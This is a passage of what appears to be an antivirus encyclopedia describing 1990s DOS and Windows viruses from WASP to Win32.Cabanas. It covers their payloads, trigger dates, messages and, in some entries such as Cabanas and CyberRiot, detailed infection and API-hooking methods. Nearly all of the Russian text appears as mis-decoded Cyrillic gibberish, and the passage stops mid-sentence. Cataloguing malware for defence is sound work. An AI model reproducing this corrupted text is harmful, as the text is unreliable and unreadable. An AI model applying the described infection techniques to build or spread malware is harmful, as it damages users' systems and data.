Îïàñíûé ðåçèäåíòíûé âèðóñ. 3 ÷èñëà ïûòàåòñÿ ôîðìàòèðîâàòü íóëåâóþ
äîðîæêó ïåðâîãî æåñòêîãî äèñêà. Â 20:00 âûâîäèò íà ýêðàí òåêñò:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ Hello - Im Your New Virus ¦
¦ - WASP - ¦
¦ A.J.Poshukaev Call Neighbour ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Ñîäåðæèò òàêæå ñòðîêó:
"Wasp"ver 1.0 - Underground Laboratory "FLY" - Moscow 1993
Watshira.2048 (1-3)
Íåîïàñíûå ðåçèäåíòíûå âèðóñû, Watshira.2048 (3) - îïàñíûé âèðóñ; 28
äåêàáðÿ îí ïåðèîäè÷åñêè çàøèôðîâûâàåò è ðàñøèôðîâûâàåò MBR æåñòêîãî
äèñêà. Watshira.2048 (1,2) ñîäåðæàò òåêñòîâóþ ñòðîêó:
Producted by Mr.Watshira Sae-eu KMIT-NB Date 12/28/1990 BIOS
Watshira.2048 (3) ñîäåðæèò òåêñò:
We are PRO Version 1.0 Producted by Mr.Watshira Sae-eu KMIT-NB Date Dec
28,1990 See U Next Version. BIOS SOIB
WeekDay.1614
Íåîïàñíûé ðåçèäåíòíûé âèðóñ.  êà÷åñòâå ïðèçíàêà çàðàæåíèÿ ôàéëà
óñòàíàâëèâàåò óäâîåííîå çíà÷åíèå äíÿ íåäåëè ñîçäàíèÿ ôàéëà â ïîëå
ñåêóíä.
Weirdo.555
Íåîïàñíûé ðåçèäåíòíûé âèðóñ-ñïóòíèê. Êîïèðóåò ñâîé êîä â îáëàñòü EMS,
îñòàâëÿåò â îáû÷íîé ïàìÿòè íåáîëüøîé ðåçèäåíòíûé êîä "íà INT 21h". Ïðè
ñòàðòå EXE-ôàéëà âèðóñ êîïèðóåò ñâîé êîä èç EMS â îáû÷íóþ ïàìÿòü è
ñîçäàåò COM-ôàéë (âèðóñ-ñïóòíèê) ñ èìåíåì EXE-ôàéëà. Åñëè ïðè çàïóñêå
îðèãèíàëüíîãî EXE-ôàéëà, íå õâàòàåò ñâîáîäíîé ïàìÿòè. òî âèðóñ âûâîäèò
ñîîáùåíèå "Out of memory". Åñëè æå EXE-ôàéë îáíàðóæèòü íå óäàëîñü, òî
âèðóñ óäàëÿåò COM-ôàéë, èç êîòîðîãî îí ñòàðòîâàë. Ñîäåðæèò ñòðîêó
"[Weirdo (c) 93 CC/TridenT]EMMXXXX0".
WereWolf.Beast.1192, 1208, WereWolf.FullMoon, WereWolf.Scream.1152, 1158, 1168,
WereWolf.Wulf (1,2), WereWolf.Howl.2662, 2845
Î÷åíü îïàñíûå ðåçèäåíòíûå âèðóñû. WereWolf.FullMoon,WereWolf.Wulf(1,2)-
çàøèôðîâàíû, WereWolf.Howl.2662, 2845 - ïîëèìîðôíûå. Ïåðèîäè÷åñêè
óíè÷òîæàþò ñëó÷àéíûå ñåêòîðà ïåðâûõ äâóõ æåñòêèõ äèñêîâ. Íå çàðàæàþò
ôàéëû, ñîäåðæàùèå â ñâîåì èìåíè ñëåäóþùèå ïîñëåäîâàòåëüíîñòè áóêâ:
CLEAN,AVP,TB, V,SCAN,NAV,IBM,FINDV,GUARD,FV,CHKDSK,F-. Ñîäåðæàò òåêñòû:
WereWolf.Beast.1192,1208 - BEAST (C)1995 WereWolf
WereWolf.Howl.2662,2845 - [HOWL] (c)1996 WereWolf
WAVE v0.9 WereWolf Advanced Viral Encryption
WereWolf.FullMoon - FULL MOON (C)1995-96 WereWolf
WereWolf.Scream.1152,1158 - SCREAM (C)1996 WereWolf
WereWolf.Scream.1168 - SCREAM! (C)1995-96 WereWolf
WereWolf.Wulf (1) - WULF é1996 WereWolf
WereWolf.Wulf (1) - [WULF] (c) 1995-1996 WereWolf
Wet
Îïàñíûé çàãðóçî÷íûé ñòåëñ-âèðóñ. Ïðè çàðàæåíèè ôëîïïè-äèñêîâ âèðóñ íå
ñîõðàíÿåò îðèãèíàëüíûé çàãðóçî÷íûé ñåêòîð. Ïðè ïîïûòêå çàãðóçêè ñ òàêîé
äèñêåòû âèðóñ âûâîäèò ñîîáùåíèå:
No system disk or disk error
Replace and strike any key when ready
Ñîäåðæèò òåêñò "- (c) 1990 W.E.T. -".
Wg.728, 2413, 2423, 3822
Îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Wg.728 ñ âåðîÿòíîñòüþ 1/256
ðàçðóøàåò çàïèñûâàåìûå â ôàéë äàííûå (f.40h Int 21h), èíâåðòèðóÿ áèòû
ýòèõ äàííûõ. Wg.2413, 2423 ñ âåðîÿòíîñòüþ 1/256 óíè÷òîæàþò ñëó÷àéíûé
ñåêòîð íà äèñêå. Íå çàðàæàþò ôàéëû, ñîäåðæàùèå áóêâîñî÷åòàíèÿ èç ñïèñêà
(ïî 2 ñèìâîëà íà èìÿ) AIADWEVDVSMSHIDR. Wg.2413, 2423 óíè÷òîæàþò ôàéëû
CHKLIST.MS. Wg.728 ñîäåðæèò ñòðîêó "WG02",Wg.2413 - "WG03 Copyright (C)
1995-1996 by WoodGoblin", Wg.2423 - "WG03m Copyright (C) 1995-1996 by
WoodGoblin". Wg.3822 ìîæåò óíè÷òîæèòü äàííûå íà äèñêå, âûâåäÿ ïåðåä
ýòèì ñîîáùåíèå:
DPMI error #1380: data file is corrupted (bad CRC)
Please wait...
Data recovery
All data have been succesfully DELETED!
Thanks for your assistance.
Press to continue.
Wg.3822 çàðàæàåò SYS-ôàéëû, óêàçàííûå ÷åðåç ïåðåìåííûå DEVICE èëè
DEVICEHIGH â ôàéëå C:\CONFIG.SYS. Ðåçèäåíòíàÿ êîïèÿ Wg.3822
óñòàíàâëèâàåòñÿ â ïàìÿòü òîëüêî èç èíôèöèðîâàííûõ SYS-ôàéëîâ. Ïîñëå
÷åãî ýòà ðåçèäåíòíàÿ êîïèÿ ìîæåò çàðàæàòü EXE-ôàéëû. Wg.3822 óäàëÿåò
òàáëèöû ðåâèçîðà äèñêà ADinf. Wg.3822 ñîäåðæèò òåêñò "WG04m Copyright
(C) 1995-1997 by WoodGoblin".
Whale.9216
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé ñòåëñ-âèðóñ. Ñîçäàåò ôàéë
C:\FISH-#9.TBL, â êîòîðûé çàïèñûâàåòñÿ ñîäåðæèìîå MBR ïåðâîãî æåñòêîãî
äèñêà è òåêñò "FISH VIRUS #9 A Whale is no Fish! Mind her Mutant Fish
and the hidden Fish Eggs for they are damaging. The sixth Fish mutates
only if Whale is in her Cave". Â ïåðèîä ñ 19 ôåâðàëÿ ïî 20 ìàðòà
"çàâåøèâàåò" ñèñòåìó è âûâîäèò òåêñò:
THE WHALE IN SEARCH OF THE 8 FISH I AM '~knzyvo}' IN HAMBURG
Wherex.1688
Îïàñíûé ðåçèäåíòíûé âèðóñ. Â ïîíåäåëüíèê â 3:30 ïûòàåòñÿ âûâåñòè íà
ýêðàí òåêñò:
GOLDEN FLOWERS!
VEGERATABLES!
PLEASE REMEMBER239
Ïîñëå ÷åãî óíè÷òîæàåò ñîäåðæèìîå CMOS-ïàìÿòè è ñäâèãàåò íà 16 áàéò
"ââåðõ" ñîäåðæèìîå ñåêòîðà MBR, ïðè÷åì ïðèçíàê çàãðóçêè âòîðîãî äèñêà
óñòàíàâëèâàåò â 0. Èìååò òåêñò "WHEREX".
WhiteAwe.2675
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Èíîãäà âûâîäèò íà ýêðàí
"ëåòàþùåãî ïðèâèäåíèÿ", î÷åíü ïîõîæåãî íà ïðèâèäåíèå-Êàðëñîíà èç
ìóëüòôèëüìà ïî èçâåñòíîé ñêàçêå Àñòðèä Ëèíäãðåí, æäåò íàæàòèÿ íà ëþáóþ
êëàâèøó, ïîñëå ÷åãî âûâîäèò òåêñò "White Awe will appear later...".
Win.CyberRiot
Î÷åíü îïàñíûé "ðåçèäåíòíûé" âèðóñ. Çàðàæàåò EXE-ôàéëû â ôîðìàòå NewExe.
Ïðè ñòàðòå èíôèöèðîâàííîãî EXE-ôàéëà âèðóñ ïûòàåòñÿ çàðàçèòü ìîäóëü
KERNEL (KERNEL286.EXE èëè KERNEL386.EXE, â çàâèñèìîñòè îò êîìïüþòåðà,íà
êîòîðîì ðàáîòàåò ñèñòåìà). Ïðè çàðàæåíèè KERNEL âèðóñ íå ñîçäàåò íîâûå
ñåêöèè ìîäóëÿ, à "ðàçäâèãàåò" óæå èìåþùèåñÿ è äîïèñûâàåò ñâîé êîä â
êîíåö 2-îãî êîäîâîãî ñåãìåíòà, à òàêæå îí ïåðåóñòàíàâëèâàåò íà ñåáÿ
àäðåñ ýêñïîðòèðóåìîé ôóíêöèè WinExec. Â ðåçóëüòàòå ïðè çàãðóçêå òàêîãî
çàðàæåííîãî ìîäóëÿ KERNEL, âèðóñíûé êîä îñòàåòñÿ "ðåçèäåíòíûì" â ïàìÿòè
è ïîëó÷àåò êîíòðîëü êî âñåì çàïóñêàåìûì NewExe-ïðîãðàììàì ÷åðåç ôóíêöèþ
WinExec. Ýòè çàïóñêàåìûå ïðîãðàììû âèðóñ çàðàæàåò ñòàíäàðòíûì ñïîñîáîì:
ñîçäàåò íîâûé êîäîâûé ñåãìåíò â çàãîëîâêå NE è çàïèñûâàåò ñâîé êîä â
êîíåö ôàéëà. ïîëå êîíòðîëüíîé ñóììû NE-çàãîëîâêà âèðóñ çàïèñûâàåò ñâîé
èäåíòèôèêàòîð "LROY". Â çàâèñèìîñòè îò íåêîòîðûõ óñëîâèé âèðóñ âûâîäèò
íà ýêðàí MessageBox ñ çàãîëîâêîì "Chicago 7: Cyber riot" è ïîìåùàåò
âíóòðü îäèí èç ñëåäóþùèõ òåêñòîâ,ïîñëå ÷åãî óíè÷òîæàåò ñîäåðæèìîå äèñêà.
Ñîîáùåíèÿ âèðóñà:
Ñ 29 àïðåëÿ ïî 1 ìàÿ:
Happy anniversary, Los Angeles!
Anarchists of the world, unite!
 ïÿòíèöó ìåæäó 1 è 13 ÷èñëàìè:
When the levee breaks, I have no place to stay...
(Crying won't help you. Praying won't do you no good.)
Ñ 26 ïî 31 äåêàáðÿ, 6 ìàðòà è ïîñëå 1994 ãîäà:
Save the Whale, harpoon a fat cat.
Âèðóñ ñîäåðæèò òåêñòû:
USER KERNEL Chicago-7 CyberRiot, 15.1.1993 Klash (Werner L.)
Sommer 1993: 15 Windowscomputerviren
Source code avaiable for $15,000,000. Serious inquiries only.
Why does IBM need to lay me off? Oh well, their loss.
McAfee's FUD equation: !!!!!!+??????=$$$$$$
Convict the pigs
This program was written in the cities of Hamburg, Chicago, Seattle and
Berkeley. Copyright (C) 1993 Klash/Skism/George J/Phalcon/Henry
Buscombe and 2 ex-Softies, collectively known as the Chicago 7.
Coming soon: Diet riot. Same great aftertaste--fewer bytes.
Win.Homer
Íåîïàñíûé "ðåçèäåíòíûé" âèðóñ. Íàïèñàí íà C++. Çàðàæàåò NewExe-ôàéëû
ôîðìàòà Windows 3.1x. Ïðè ñòàðòå èíôèöèðîâàííîãî ôàéëà âèðóñ îñòàåòñÿ
Windows-çàäà÷åé è "ïåðåõâàòûâàåò" INT 21h. Ïðè çàïóñêå NewExe-ôàéëîâ
âèðóñ çàðàæàåò èõ. Ñóùåñòâóåò ïðåäïîëîæåíèå, ÷òî âèðóñ ïåðåõâàòûâàåò
ñåòåâûå ïàêåòû è ìîæåò, èñïîëüçóÿ File Transfer Protocol, ïåðåäàòü ñâîþ
êîïèþ íà óäàëåííûé ñåðâåð â êàòàëîã INCOMING.
Win.Lamer
Íåîïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Çàðàæàåò EXE-ôàéëû â ôîðìàòå
NewExe (ôàéëû äëÿ MS-Windows). Äàííûé âèðóñ ÿâëÿåòñÿ ïåðâûì
ïðåäñòàâèòåëåì, èñïîëüçóþùèì ïîëèìîðôíûé ìåõàíèçì çàðàæåíèÿ äëÿ ôàéëîâ
MS-Windows. Âèðóñ ïðîèçâîäèò ïîèñê *.EXE-ôàéëîâ íà òåêóùåì äèñêå è èõ
çàðàæåíèå, ïðè÷åì ïðîèçâîäèòñÿ ïîïûòêà ïîèñêà è çàðàæåíèÿ ôàéëîâ â
êàòàëîãå \WINDOWS íà òåêóùåì äèñêå. Ñîäåðæèò òåêñòû "WinLamer2
(C)Copyright Aug, 1995 by Burglar in Taipei, Taiwan." è "PME for
Windows v0.00 (C) Jul 1995 By Burglar".
Win.Tentacle.1958
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ, çàðàæàþùèé NewExe *.EXE-ôàéëû â òåêóùåì
êàòàëîãå è â êàòàëîãå C:\WINDOWS. Ïðè íàõîæäåíèè NewExe ôàéëà âèðóñ
ñîçäàåò ôàéë C:\TENTACLE.$$$, â êîòîðûé çàïèñûâàåò èíôèöèðîâàííóþ êîïèþ
NewExe-ôàéëà. Ïîñëå ÷åãî èñõîäíûé ôàéë óäàëÿåòñÿ, à ôàéëó TENTACLE.$$$
ïðèñâàèâàåòñÿ åãî èìÿ. Èíîãäà âèðóñ ìîæåò çàìåñòèòü òåêóùóþ èêîíêó,
íàõîäÿùóþñÿ â òåëå çàðàæàåìîãî ôàéëà íà ñâîþ. Íà âèðóñíîé ïèêòîãðàììå
èçîáðàæåíî ùóïàëüöå îñüìèíîãà è íàäïèñü "TENTACLE".
Win.Tentacle.10634
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ, çàðàæàþùèé NewExe *.EXE-ôàéëû â òåêóùåì
êàòàëîãå è â êàòàëîãàõ C:\WIN,C:\WINDOWS,C:\WIN31, C:\WIN311, C:\WIN95.
Ïðîöåäóðà çàðàæåíèÿ ïîõîæà íà ïðîöåäóðó âèðóñà Win.Tentacle.1958, íî
Win.Tentacle.10634 ïðè çàðàæåíèè íå èçìåíÿåò òî÷êó âõîäà NE-ôàéëà.Âèðóñ
ñîçäàåò íîâûé êîäîâûé ñåãìåíò, â êîòîðûé çàïèñûâàåò ñâîé êîä, è
ñîîòâåòñòâóþùóþ ýòîìó ñåãìåíòó - ñåãìåíòíóþ ñåêöèþ â çàãîëîâêå NE. Äëÿ
òîãî, ÷òîáû ïîëó÷èòü óïðàâëåíèå âèðóñ èçìåíÿåò îäèí ýëåìåíò â òàáëèöå
ïåðåìåùàåìûõ ýëåìåíòîâ. Âèðóñ èùåò ññûëêó íà ïðîöåäóðó KERNEL -INITTASK
èëè íà ïðîöåäóðó VBRUN300 - THUNRTMAIN è çàìåíÿåò åå íà ñâîé ñòàðòîâûé
êîä. Ïðîöåäóðû INITTASK è THUNRTMAIN âûçûâàþòñÿ ïðàêòè÷åñêè ñðàçó ïðè
ñòàðòå Windows-ïðîãðàìì. Â ðåçóëüòàòå âìåñòî âûçîâà ýòèõ ñòàíäàðòíûõ
ïðîöåäóð ïðîèçîéäåò âûçîâ âèðóñíîãî êîäà. Ïîñëå ïîèñêà è çàðàæåíèÿ
ôàéëîâ âèðóñ îòäàåò óïðàâëåíèå ýòèì ïðîöåäóðàì, êîòîðûå â ñâîþ î÷åðåäü
âåðíóò óïðàâëåíèå èíôèöèðîâàííîé ïðîãðàììå-íîñèòåëþ. Ïðè îáíàðóæåíèè
ôàéëà WINHELP.EXE âèðóñ èñïðàâëÿåò êîìàíäó óñëîâíîãî ïåðåõîäà (74 ??)
íà áåçóñëîâíûé ïåðåõîä (EB ??). Ïðè ñòàðòå èíôèöèðîâàííîé ïðîãðàììû ñ
÷àñó äî äâóõ ÷àñîâ íî÷è, âèðóñ ñîçäàåò ôàéë C:\TENTACLE.GIF è
çàïèñûâàåò â íåãî èçîáðàæåíèå ùóïàëüöà îñüìèíîãà â GIF-ôîðìàòå. Â ïîëå
"Extensions" äëÿ ïðîñìîòðà *.GIF-ôàéëîâ âèðóñ çàïèñûâàåò èìÿ "ñâîåãî"
GIF-ôàéëà - C:\TENTACLE.GIF. Â ðåçóëüòàòå ïðè ïðîñìîòðå ëþáîãî GIF-
ôàéëà ñèñòåìà áóäåò âñåãäà ïîêàçûâàòü ùóïàëüöå îñüìèíîãà. Äëÿ ýòèõ
ìàíèïóëÿöèé âèðóñ èñïîëüçóåò âûçîâû SHELL: REGSETVALUE è REGQUERYVALUE.
Win.Twitch (1,2)
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû-ñïóòíèêè. Ïðîèçâîäÿò ïîèñê NewExe *.EXE-
ôàéëîâ, ïðèñâàèâàþò èì ðàñøèðåíèå OVL è çàïèñûâàþò ñâîé êîä ïîä
îðèãèíàëüíûì èìåíåì ôàéëà. Ñîäåðæàò òåêñòû:
BOOT SHELL SYSTEM.INI PATH TEMP OVL \ CHKLIST.CPS *.EXE
NETWARE FILEMAN SCRNSAVE WINPRINT WINDOWS
DeviceSelectedTimeout
LOAD .EXE \SYSTEM SYSEDIT.EXE NWPOPUP.EXE
Win.Vik (1-3)
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Ïðîèçâîäÿò ïîèñê è çàðàæåíèå NewExe
*.EXE è *.DLL - ôàéëîâ â òåêóùåì êàòàëîãå. Win.Vik (2,3) ñîäåðæàò òåêñò
"(C) 1994 American Eagle Publications Inc., All rights reserved.".
Win.Vir1.4
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ, çàðàæàþùèé ôàéëû â ôîðìàòå NewExe.
Ñîäåðæèò òåêñò "Virus_for_Windows v1.4".
Win.Winsurf.1171, 1432
Íåîïàñíûå ðåçèäåíòíûå âèðóñû, çàðàæàþùèå ôàéëû â ôîðìàòå NewExe (NE).
Ïðè çàïóñêå èíôèöèðîâàííîé ïðîãðàììû, âèðóñû ïðîâåðÿþò íàëè÷èå DPMI è
ïðèñóòñòâèå ñâîèõ êîïèé â ïàìÿòè êîìïüþòåðà. Åñëè ðåçèäåíòíûå êîïèè
âèðóñîâ íå óñòàíîâëåíû è DPMI-èíòåðôåéñ ñóùåñòâóåò,òî âèðóñû ïðîèçâîäÿò
ïîèñê ñòðîêè "windir=" â ñâîåì îêðóæåíèè (environment), îòêðûâàþò ôàéë
SYSTEM.INI â êàòàëîãå, óêàçàííîì â ïåðåìåííîé "windir=", èùóò â äàííîì
ôàéëå ñòðîêó "shell=" è ïðîèçâîäÿò çàðàæåíèå ôàéëà,ñëåäóþùåãî çà äàííîé
ñòðîêîé. Îáû÷íî ñòðîêà "shell=" äëÿ MS-Windows 3.xx óêàçûâàåò íà ôàéë
PROGMAN.EXE (Program Manager). Äàííàÿ ïðîãðàììà ÿâëÿåòñÿ ðåçèäåíòíîé â
òå÷åíèå âñåãî ñåàíñà ðàáîòû MS-Windows. Ò.î., âèðóñ,âíåäðåííûé â äàííóþ
ïðîãðàììó, òàêæå áóäåò ÿâëÿòüñÿ ðåçèäåíòíûì. Âèðóñû ñ ïîìîùüþ DPMI
"ïåðåõâàòûâàþò" INT 21h, "êîíòðîëèðóþò" çàïóñê ïðîãðàìì (Exec f.4bh
Int 21h) è çàðàæàþò NewExe-ôàéëû.
Win.Wintiny
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "WinTiny (C)Copyright
June, 1995 by Burglar in Taipei, Taiwan.".
Win32.Cabanas
Win32.Cabanas ÿâëÿåòñÿ ïåðâûì èç èçâåñòíûõ âèðóñîâ, ïîðàæàþùèõ ôàéëû
ñåìåéñòâà 32õðàçðÿäíûõ îïåðàöèîííûõ ñèñòåì Microsoft Windows
(Win32s/Windows 95/Windows NT). Äàííûé âèðóñ óìååò íå òîëüêî çàðàæàòü
ôàéëû â ôîðìàòå PortableExecutable, íî îñòàâàòüñÿ ðåçèäåíòíî íà òåêóùèé
ñåàíñ ðàáîòû èíôèöèðîâàííîé ïðîãðàììû â ëþáîé èç ïåðå÷èñëåííûõ âûøå
îïåðàöèîííûõ ñèñòåì.
Âñå ñóùåñòâîâàâøèå äî ñèõ ïîð âèðóñû, íàïèñàííûå äëÿ Windows 95, íå
óìåëè êîððåêòíî çàðàæàòü ôàéëû, ïðåäíàçíà÷åííûå äëÿ ðàáîòû â Windows
NT, ò.ê., õîòÿ ôàéëû äëÿ Windows 95 è Windows NT è èìåþò îäèíàêîâûé
PE - ôîðìàò, íî âñå æå íåêîòîðûå ïîëÿ â çàãîëîâêå PE ó íèõ ðàçëè÷àþòñÿ.
Ïîýòîìó ïðè çàðàæåíèè ôàéëîâ Windows NT, âèðóñàì íåîáõîäèìî
ïðåäïðèíèìàòü äîïîëíèòåëüíûå äåéñòâèÿ äëÿ êîððåêòíîé ìîäèôèêàöèè PE-
çàãîëîâêà. Èíà÷å ñèñòåìà Windows NT âûäàñò îøèáêó íà ýòàïå çàãðóçêè
äàííîãî ôàéëà. Òàêæå ïðåäñòàâëÿåòñÿ îïðåäåëåííîé ïðîáëåìîé äëÿ âèðóñîâ-
ýòî îïðåäåëåíèå áàçîâûõ àäðåñîâ WIN32 KERNEL API â ïàìÿòè,ò.ê., Windows
95 è Windows NT ðàñïîëàãàþò ìîäóëü KERNEL32.DLL â ðàçíûõ àäðåñàõ
ïàìÿòè. Íî Win32.Cabanas ïðåêðàñíî ñïðàâëÿåòñÿ ñ äàííûìè ïðîáëåìàìè.
Ïðè ñòàðòå èíôèöèðîâàííîãî ôàéëà âèðóñ ïîëó÷àåò óïðàâëåíèå,
ðàñïàêîâûâàåò è ðàñøèôðîâûâàåò ñîáñòâåííóþ òàáëèöó WIN32 KERNEL API
èìåí ïðîöåäóð, íåîáõîäèìûõ åìó äëÿ ïîñëåäóþùåé ðàáîòû è ïðèñòóïàåò ê
îïðåäåëåíèþ áàçîâîãî àäðåñà KERNEL32.DLL è àäðåñîâ âñåõ èíòåðåñóþùèõ
åãî ôóíêöèé WIN32 KERNEL API.
Âî âðåìÿ çàðàæåíèÿ ôàéëà âèðóñ àíàëèçèðóåò òàáëèöó èìïîðòèðóåìûõ
ôóíêöèé (Import Table) ñ öåëüþ íàõîæäåíèÿ èìåí ôóíêöèé
GetModuleHandleA, GetModuleHandleW è GetProcAddress. Ïðè íàõîæäåíèè
äàííûõ èìåí âèðóñ çàïîìèíàåò â ñâîåì êîäå ñìåùåíèÿ àäðåñîâ äàííûõ
ïðîöåäóð, íàõîäÿùèõñÿ â Import Table (êàê ïðàâèëî, â ñåãìåíòå .idata).
Åñëè èìåíà ïåðå÷èñëåííûõ ïðîöåäóð âèðóñîì íå áóäóò íàéäåíû, òî
Win32.Cabanas â äàëüíåéøåì, ïðè çàïóñêå èíôèöèðîâàííîãî ôàéëà, áóäåò
èñïîëüçîâàòü äðóãîé íåäîêóìåíòèðîâàííûé ñïîñîá íàõîæäåíèÿ áàçîâîãî
àäðåñà KERNEL32 è àäðåñîâ WIN32 KERNEL API. Íî ýòîò íåäîêóìåíòèðîâàííûé
ñïîñîá ñîäåðæèò îøèáêè è ðàáîòàåò íåêîððåêòíî â ñðåäå Windows NT. Èòàê,
åñëè àäðåñà èìïîðòèðóåìûõ ôóíêöèé GetModuleHandleA èëè GetModuleHandleW
èìåþòñÿ â Import Table èíôèöèðîâàííîãî ôàéëà, òî âèðóñ áåç ïðîáëåì, ñ
ïîìîùüþ ïðîöåäóðû GetProcAddress, îïðåäåëÿåò âñå àäðåñà WIN32 KERNEL
API. Åñëè àäðåñîâ èíòåðåñóþùèõ åãî ôóíêöèé â Import Table íåò, òî âèðóñ
ñ ïîìîùüþ íåêîòîðûõ óõèùðåíèé ïûòàåòñÿ îïðåäåëèòü àäðåñ GetProcAddress
â òàáëèöå ýêñïîðòèðóåìûõ ôóíêöèé KERNEL32. Íî, êàê óæå îòìå÷àëîñü âûøå,
äëÿ Windows NT äàííûé âèðóñíûé ìåõàíèçì íå ðàáîòàåò èç-çà îøèáîê, è,
êàê ñëåäñòâèå, íîðìàëüíàÿ "æèçíåäåÿòåëüíîñòü" âèðóñà îêàæåòñÿ
íåâîçìîæíîé. Ýòî åäèíñòâåííàÿ ñåðüåçíàÿ îøèáêà Win32.Cabanas, èç-çà
êîòîðîé ó íåãî âîçíèêàþò ïðîáëåìû ïðè ðàñïðîñòðàíåíèè â ñðåäå Windows
NT. Çàòî â Windows 95 ÷óâñòâóåò ñåáÿ, "êàê ðûáà â âîäå" è áåçî âñÿêèõ
òðóäíîñòåé (â ñëó÷àå îòñóòñòâèÿ àäðåñîâ ôóíêöèé GetModuleHandleA èëè
GetModuleHandleW) îïðåäåëÿåò áàçîâûé àäðåñ KERNEL32.DLL è ôóíêöèè
GetProcAddress äðóãèì íåäîêóìåíòèðîâàííûì ñïîñîáîì.
Ïðè ïîìîùè ôóíêöèè GetProcAddress âèðóñ ìîæåò ïîëó÷èòü àäðåñ ëþáîé
èíòåðåñóþùåé åãî ïðîöåäóðû WIN32 KERNEL API. ×òî îí è äåëàåò: ïîëó÷àåò
àäðåñà è çàïîìèíàåò èõ.
Äàëåå âèðóñ çàïóñêàåò ñâîþ ïðîöåäóðó çàðàæåíèÿ PE-ôàéëîâ, èìåþùèõ
ðàñøèðåíèÿ EXE è SCR â êàòàëîãàõ \WINDOWS, \WINDOWS\SYSTEM è â òåêóùåì
äèðåêòîðèè. Ïðè çàðàæåíèè ôàéëîâ âèðóñ ïðîâåðÿåò íàëè÷èå â íèõ
ñîáñòâåííîé êîïèè ïî íåêîòîðûì ïîëÿì â çàãîëîâêå PE è ïî äëèíå ôàéëà,
êîòîðàÿ ïðè çàðàæåíèè âèðóñîì Win32.Cabanas äîëæíà áûòü êðàòíà 101. Êàê
óæå îòìå÷àëîñü âûøå âèðóñ ïðîèçâîäèò ïîèñê èìåí ôóíêöèé
GetModuleHandleA, GetModuleHandleW èëè GetProcAddress â òàáëèöå
èìïîðòèðóåìûõ ôóíêöèé (Import Table) è çàïîìèíàíèå ññûëîê íà èõ àäðåñà.
Çàòåì âèðóñ çàïèñûâàåò ñâîé êîä â êîíåö ôàéëà, â îáëàñòü ïîñëåäíåé
ñåãìåíòíîé ñåêöèè (îáû÷íî .reloc), èçìåíèâ õàðàêòåðèñòèêè è äëèíó
äàííîé ñåêöèè. Ïîñëå òîãî, êàê òåëî âèðóñà çàïèñàíî â êîíåö ôàéëà,
âèðóñ èçìåíÿåò ïÿòü íà÷àëüíûõ áàéò îðèãèíàëüíîé òî÷êè âõîäà êîäîâîé
ñåêöèè (îáû÷íî .text èëè CODE) íà êîìàíäó ïåðåäà÷è óïðàâëåíèÿ íà
âèðóñíûé êîä, íàõîäÿùèéñÿ â ïîñëåäíåé ñåãìåíòíîé ñåêöèè (.reloc). Äëÿ
ýòèõ öåëåé âèðóñ ïðîèçâîäèò àíàëèç òàáëèöû ïåðåìåùàåìûõ ýëåìåíòîâ
(.reloc) ñ öåëüþ âîçìîæíîãî íàõîæäåíèÿ êàêîãî-íèáóäü ýëåìåíòà â îáëàñòè
èçìåíåííûõ âèðóñîì áàéò. Åñëè òàêàÿ ññûëêà áóäåò íàéäåíà, òî âèðóñ
"âûêëþ÷àåò" åå è çàïîìèíàåò åå àäðåñ è çíà÷åíèå äëÿ òîãî, ÷òîáû
âïîñëåäñòâèè ïðè ïåðåäà÷å óïðàâëåíèÿ ïðîãðàììå-âèðóñîíîñèòåëþ íå çàáûòü
âîññòàíîâèòü èñõîäíûå áàéòû òî÷êè âõîäà è, åñëè íåîáõîäèìî, òî
ñîîòâåòñòâóþùèì îáðàçîì íàñòðîèòü ïåðåìåùàåìûé ýëåìåíò (relocation).
Ïîñëå òîãî, êàê âèðóñ çàðàçèò âñå "ïðèãîäíûå" äëÿ ýòîé öåëè ôàéëû â
óêàçàííûõ âûøå êàòàëîãàõ, îí ïðèñòóïàåò ê óñòàíîâêå â ñèñòåìó ñâîåé
ðåçèäåíòíîé êîïèè è "ïåðåõâàòó" èíòåðåñóþùèõ åãî ñèñòåìíûõ ôóíêöèé. Ñ
ïîìîùüþ ôóíêöèè VirtualAlloc âèðóñ âûäåëÿåò ñåáå îáëàñòü ïàìÿòè äëèíîé
12232 áàéò è ïåðåìåùàåò ñâîé êîä â äàííóþ îáëàñòü. Äàëåå âèðóñ ïûòàåòñÿ
"ïåðåõâàòèòü" ñëåäóþùèå ôóíêöèè WIN32 KERNEL API: GetProcAddress,
GetFileAttributesA,GetFileAttributesW, MoveFileExA,MoveFileExW,_loopen,
CopyFileA, CopyFileW, OpenFile, MoveFileA, MoveFileW, CreateProcessA,
CreateProcessW, CreateFileA, CreateFileW, FindClose, FindFirstFileA,
FindFirstFileW,FindNextFileA, FindNextFileW, SetFileAttrA,SetFileAttrW.
Àäðåñà ýòèõ ôóíêöèé âèðóñ "çàáèðàåò" èç Import Table, à â ïîëÿ Import
Table ïîäñòàâëÿåò àäðåñà ñîáñòâåííûõ îáðàáîò÷èêîâ. Åñëè íåêîòîðûå
èíòåðåñóþùèå åãî ôóíêöèè âèðóñó "ïåðåõâàòèòü" íå óäàëîñü, òî â
äàëüíåéøåì ïðè âûçîâå ïðîãðàììîé ôóíêöèè GetProcAddress, âèðóñ
ïðîâåðÿåò íóæåí ëè åìó àäðåñ äàííîé ôóíêöèè è ïðè íåîáõîäèìîñòè
âîçâðàùàåò ïðîãðàììå àäðåñ ñîáñòâåííîé ïðîöåäóðû. Ïðè âûçîâå
ïðîãðàììàìè íåêîòîðûõ "ïåðåõâà÷åííûõ" âèðóñîì ôóíêöèé çàïóñêàåòñÿ
ïðîöåäóðà çàðàæåíèÿ ôàéëîâ è\èëè ïðîöåäóðó ñòåëñ-ðåæèìà äëÿ
èíôèöèðîâàííûõ ôàéëîâ. Òàê ïðè âûçîâå ôóíêöèé FindFirstFileA,
